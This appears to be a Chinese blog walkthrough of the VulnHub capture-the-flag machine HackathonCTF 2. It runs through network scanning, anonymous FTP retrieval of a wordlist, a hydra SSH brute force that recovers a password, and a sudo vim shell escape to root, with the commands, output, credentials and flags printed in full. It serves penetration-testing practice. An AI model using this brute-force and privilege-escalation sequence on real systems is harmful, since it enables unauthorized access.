程序员经验分享-hwhale

靶机渗透练习86-HackathonCTF 2

2023-05-16

靶机描述

靶机地址：https://www.vulnhub.com/entry/hackathonctf-2,714/

Description

Difficulty: Easy

This is a basic level BootToRoot machine for beginners. There are two flags. After finding the flag, tag me on Twitter(@Markme_1).

一、搭建靶机环境

攻击机Kali：

IP地址：192.168.128.128

靶机：

IP地址：192.168.128.131

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）

该靶机环境搭建如下

  1. 将下载好的靶机环境，导入 VMware Workstation，设置为NAT 模式

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l （指定网卡扫）

arp-scan -I eth1 -l

⬢  HackathonCTF: 2  arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:c6:80:cd, IPv4: 192.168.128.128
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.128.1   00:50:56:c0:00:08       VMware, Inc.
192.168.128.2   00:50:56:ed:3a:55       VMware, Inc.
192.168.128.131 00:0c:29:9b:e9:5d       VMware, Inc.
192.168.128.254 00:50:56:e2:af:ce       VMware, Inc.

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.023 seconds (126.54 hosts/sec). 4 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  HackathonCTF: 2  nmap -A -sV -T4 -p- 192.168.128.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-27 15:13 CST
Nmap scan report for bogon (192.168.128.131)
Host is up (0.00097s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           47 Jun 18  2021 flag1.txt
|_-rw-r--r--    1 1000     1000          849 Jun 19  2021 word.dir
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.128.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_*/
|_http-title: hackathon2
|_http-server-header: Apache/2.4.41 (Ubuntu)
7223/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 70:4a:a9:69:c2:d1:68:23:86:bd:85:83:31:ca:80:0c (RSA)
|   256 a6:9e:a4:18:ad:a4:2b:7e:ea:f8:5e:63:29:6e:4f:24 (ECDSA)
|_  256 4e:db:a6:d2:eb:b9:53:a5:d7:21:0b:4e:57:a5:f5:c1 (ED25519)
MAC Address: 00:0C:29:9B:E9:5D (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.97 ms bogon (192.168.128.131)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds

发现开放了 21，80，7223 端口

发现可以anonymous匿名登录

2.2枚举漏洞

2.2.1 21 端口分析

anonymous匿名登录ftp

⬢  HackathonCTF: 2  ftp 192.168.128.131
Connected to 192.168.128.131.
220 (vsFTPd 3.0.3)
Name (192.168.128.131:hirak0): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||19013|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000           47 Jun 18  2021 flag1.txt
-rw-r--r--    1 1000     1000          849 Jun 19  2021 word.dir
226 Directory send OK.
ftp> get flag1.txt
local: flag1.txt remote: flag1.txt
229 Entering Extended Passive Mode (|||33155|)
150 Opening BINARY mode data connection for flag1.txt (47 bytes).
100% |*********************************************************************************************************************|    47       15.81 KiB/s    00:00 ETA
226 Transfer complete.
47 bytes received in 00:00 (12.65 KiB/s)
ftp> get word.dir
local: word.dir remote: word.dir
229 Entering Extended Passive Mode (|||36493|)
150 Opening BINARY mode data connection for word.dir (849 bytes).
100% |*********************************************************************************************************************|   849        5.32 MiB/s    00:00 ETA
226 Transfer complete.
849 bytes received in 00:00 (1.11 MiB/s)
ftp>

发现flag1.txt

⬢  HackathonCTF: 2  ls                 
flag1.txt  word.dir
⬢  HackathonCTF: 2  cat flag1.txt 
₣Ⱡ₳₲{7e3c118631b68d159d9399bda66fc684}
⬢  HackathonCTF: 2  cat word.dir 
happy
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
michelle
tigger
test123
sunshine
chocolate
password1
soccer
anthony
friends
butterfly
purple
angel
jordan
liverpool
justin
loveme
fuckyou
123123
football
secret
andrea
carlos
jennifer
joshua
tiago
TIAGo
Ti@gO
bubbles
1234567890
superman
hannah
amanda
loveyou
pretty
basketball
andrew
angels
tweety
flower
playboy
hello
elizabeth
hottie
tinkerbell
charlie
samantha
barbie
h@ckmE
chelsea
lovers
teamo
jasmine
brandon
666666
shadow
melissa
eminem
matthew
robert
danielle
forever
family
jonathan
987654321
computer
whatever
dragon
vanessa
cookie
naruto
summer
sweety
spongebob
joseph
junior
rootnik
softball
taylor
yellow
daniela
lauren
mickey
princesa
basic1
basicone

⬢  HackathonCTF: 2

并拿到一个字典

2.2.2 80 端口分析

访问：http://192.168.128.131/

image-20220427151916858

扫描一下目录：gobuster dir -u http://192.168.128.131 -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

⬢  HackathonCTF: 2  dirsearch -u http://192.168.128.131

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.128.131/_22-04-27_15-19-43.txt

Error Log: /root/.dirsearch/logs/errors-22-04-27_15-19-43.log

Target: http://192.168.128.131/

[15:19:43] Starting: 
[15:19:46] 403 -  280B  - /.ht_wsr.txt
[15:19:46] 403 -  280B  - /.htaccess.bak1
[15:19:46] 403 -  280B  - /.htaccess.sample
[15:19:46] 403 -  280B  - /.htaccessOLD2
[15:19:46] 403 -  280B  - /.htaccess.orig
[15:19:46] 403 -  280B  - /.htaccess_sc
[15:19:46] 403 -  280B  - /.htaccess.save
[15:19:46] 403 -  280B  - /.htaccess_orig
[15:19:46] 403 -  280B  - /.htaccessOLD
[15:19:46] 403 -  280B  - /.htaccessBAK
[15:19:46] 403 -  280B  - /.htaccess_extra
[15:19:46] 403 -  280B  - /.html
[15:19:46] 403 -  280B  - /.htm
[15:19:46] 403 -  280B  - /.httr-oauth
[15:19:46] 403 -  280B  - /.htpasswds
[15:19:46] 403 -  280B  - /.htpasswd_test
[15:20:16] 200 -    1KB - /index.html
[15:20:28] 200 -   70B  - /robots.txt
[15:20:29] 403 -  280B  - /server-status
[15:20:29] 403 -  280B  - /server-status/

Task Completed

访问：http://192.168.128.131/robots.txt

image-20220427152121650

访问：http://192.168.128.131/happy

image-20220427152715693

查看一下源码：view-source:http://192.168.128.131/happy

<html>
<title>happy</title>

<body><h1> Nothing is in here</h1></body>

<!-- username: hackathonll >

</html>

2.3漏洞利用

2.3.1 ssh爆破

利用得到的字典以及用户名进行爆破ssh

⬢  HackathonCTF: 2  hydra -l hackathonll -P word.dir ssh://192.168.128.131:7223 -f
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-27 15:58:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 110 login tries (l:1/p:110), ~7 tries per task
[DATA] attacking ssh://192.168.128.131:7223/
[7223][ssh] host: 192.168.128.131   login: hackathonll   password: Ti@gO
[STATUS] attack finished for 192.168.128.131 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-27 15:58:42

尝试ssh登录

⬢  HackathonCTF: 2  ssh hackathonll@192.168.128.131 -p 7223
hackathonll@192.168.128.131's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-74-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 27 Apr 2022 07:59:41 AM UTC

  System load:  0.29               Processes:              225
  Usage of /:   25.2% of 18.57GB   Users logged in:        0
  Memory usage: 33%                IPv4 address for ens33: 192.168.128.131
  Swap usage:   0%


67 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jun 19 05:35:15 2021 from 10.0.0.110
$ id
uid=1001(hackathonll) gid=1001(hackathonll) groups=1001(hackathonll)
$

2.4权限提升

2.4.1 信息收集

sudo -l查看一下是否有可以利用的

$ sudo -l
Matching Defaults entries for hackathonll on hackathon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hackathonll may run the following commands on hackathon:
    (root) NOPASSWD: /usr/bin/vim
$

发现可以直接利用/usr/bin/vim

去https://gtfobins.github.io查找一下利用方法

image-20220427160552636

运行sudo vim -c ':!/bin/sh'

$ sudo vim -c ':!/bin/sh'
$ 
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root 
# ls
flag2.txt  snap
# cat flag2.txt
₣Ⱡ₳₲{7e3c118631b68d159d9399bda66fc694}
#

成功提权，并在root目录拿到flag2

总结

本靶机比较简单，通过信息收集得到字典及用户名，爆破ssh得到密码，登录后利用vim提权

  1. 信息收集
  2. anonymous匿名登录ftp
  3. gobuster目录扫描
  4. hydra爆破ssh
  5. sudo提权—vim提权
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

HackathonCTF

靶机渗透练习

靶机渗透练习86-HackathonCTF 2 的相关文章

随机推荐

  • cstring转换为char*

    在Visual C 43 43 NET2005中 xff0c 默认的字符集形式是Unicode xff0c 但在VC6 0等工程中 xff0c 默认的字符集形式是多字节字符集 xff08 MBCS xff1a Multi Byte Char

  • Error creating bean with name 'userController'

    Caused by org springframework beans factory UnsatisfiedDependencyException Error creating bean with name 39 userControll

  • IntelliJ IDEA Cannot find declaration to go to

    最近在用IntelliJ IDEA开发一个微服务的项目的时候 xff0c 从git clone了代码 xff0c 再用IntelliJ IDEA导入项目以后 项目里好多方法 类和属性都无法转到定义或者声明处 xff0c 无论是Ctrl 43

  • CString转char * ,string

    CString头文件 include lt afx h gt string头文件 include lt string h gt 1 CString转char CString cstr char p 61 LPSTR LPCTSTR cstr

  • GPS数据包格式+数据解析

    GPS数据包格式 43 数据解析 一 全球时区的划分 xff1a 每个时区跨15 经度 以0 经线为界向东向西各划出7 5 经度 xff0c 作为0时区 即0时区的经度范围是7 5 W 7 5 E 从7 5 E与7 5 W分别向东 向西每1

  • 在C#中使用libcurl库

    几乎在所有的linux发行版中 xff0c 默认都是包含有libcurl库的 那么 xff0c libcurl是使用C开发的 xff0c 自然 xff0c 当你用C或C 43 43 使用libcurl库的时候很方便 但是 xff0c 如果你

  • Linux下chrony授时监测脚本

    1 背景概述 Linux下基于gpsd 43 chrony授时 xff0c 在有些情况下会存在收敛慢或者参考时间选择错误问题 xff0c 因此需要授时监测脚本进行监测 xff0c 便于在异常时候发现并处理 2 gpsd 43 chrony授

  • 关于linux下shell输出^M特殊字符的处理

    shell中echo输出时 M特殊字符的处理 今天在csdn论坛看一网友发了一个帖子 xff1a https bbs csdn net topics 392668752 post 403986636 xff0c 我很好奇 xff0c 于是将

  • VS2010(VS2017)+Boost_1_68_0环境搭建

    文 Seraph 一 下载 首先从Boost下载官网下载源码 xff0c 当然你也可以下载编译好的库文件直接用 我下载的是boost 1 68 0 zip 解压到某个目录下 xff0c 我解压到了D盘根目录 xff1a E boost 1

  • 2.gstreamer USB摄像头RTSP推流

    目录 1 操作系统版本 2 使用gstreamer播放mp4文件 3 采集USB摄像头视频源 xff0c 并RTSP推流 4 使用RTSP播放器播放 5 注意事项 1 操作系统版本 使用的虚拟机加ubuntu 20 04 2 使用gstre

  • 3.gstreamer UDP推流RTP及拉流播放

    目录 1 将H264数据流打包为RTP包 xff0c 然后UDP推流 2 UDP client拉流 xff0c 然后RTSP传输 3 easyplayer rtsp exe播放器播放RTSP数据流 将H264打包为RTP包 xff0c 然后

  • 靶机渗透练习80-Momentum：1

    靶机描述 靶机地址 xff1a https www vulnhub com entry momentum 1 685 Description Info easy medium 一 搭建靶机环境 攻击机Kali xff1a IP地址 xff1

  • 靶机渗透练习81-Momentum：2

    靶机描述 靶机地址 xff1a https www vulnhub com entry momentum 2 702 Description Difficulty mediumKeywords curl bash code review T

  • STM32F407单片机上开发MODBUS RTU 多主站程序（二）

    STM32F407单片机上开发MODBUS RTU 多主站程序 xff08 一 xff09 STM32F407单片机上开发MODBUS RTU 多主站程序 xff08 二 xff09 前面一篇文章 STM32F407单片机上开发MODBUS

  • 靶机渗透练习82-The Planets：Mercury

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets mercury 544 Description Difficulty Easy Mercury is an easier box

  • 靶机渗透练习83-The Planets：Venus

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets venus 705 Description Difficulty Medium Venus is a medium box re

  • 靶机渗透练习84-The Planets：Earth

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets earth 755 Description Difficulty Easy Earth is an easy box thoug

  • 靶机渗透练习85-HackathonCTF 1

    靶机描述 靶机地址 xff1a https www vulnhub com entry hackathonctf 1 591 Description N A 一 搭建靶机环境 攻击机Kali xff1a IP地址 xff1a 192 168

  • 靶机渗透练习87-IA：Keyring (1.0.1)

    靶机描述 靶机地址 xff1a https www vulnhub com entry ia keyring 101 718 Description Difficulty IntermediateGoal Get the root shel

  • 靶机渗透练习86-HackathonCTF 2

    靶机描述 靶机地址 xff1a https www vulnhub com entry hackathonctf 2 714 Description Difficulty Easy This is a basic level BootToR

热门标签